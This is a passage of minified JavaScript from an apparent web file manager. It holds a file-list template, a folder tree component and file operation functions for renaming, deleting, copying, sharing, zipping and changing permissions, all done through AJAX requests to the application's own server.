list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,u().type)&&a.open(u().path,u().type)},r=function(e,t){var i=["menuTreeGroup","menuTreeFav","menuTreeFolderFav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,i))return e;for(var a=[],n=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].is_writeable,"folder"==e[o].type?n.push(e[o]):a.push(e[o]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n.concat(a))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),f,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},f={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable"),0===t.exists&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},u=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),g()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(u().path)},openWindow:function(){a.openWindow(u().path)},share:function(){i.share(u())},download:function(){"folder"==u().type?i.zipDownload(u(!0)):a.download(u().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=u();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=u();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=u();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",u().path)},appEdit:function(){var e=u(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(u(!0))},copy:function(){i.copy(u(!0))},cute:function(){i.cute(u(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(u(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(u(!0),e,function(){v()})})},favRemove:function(){i.favRemove(u().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=u();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=u();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(u(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=u(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=u().path;"folder"!=u().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(u().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=u(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var f=o.addNodes(s,newNode)[0];o.editName(f)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+u().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,f=Math.max(r.length,l.length);f>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var u=o(oFxNcL,oFyNcL);if(0!=u)return u}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,window.event&&window.event.shiftKey&&(a=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},f=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)u(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")) +}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},k=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),t+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var 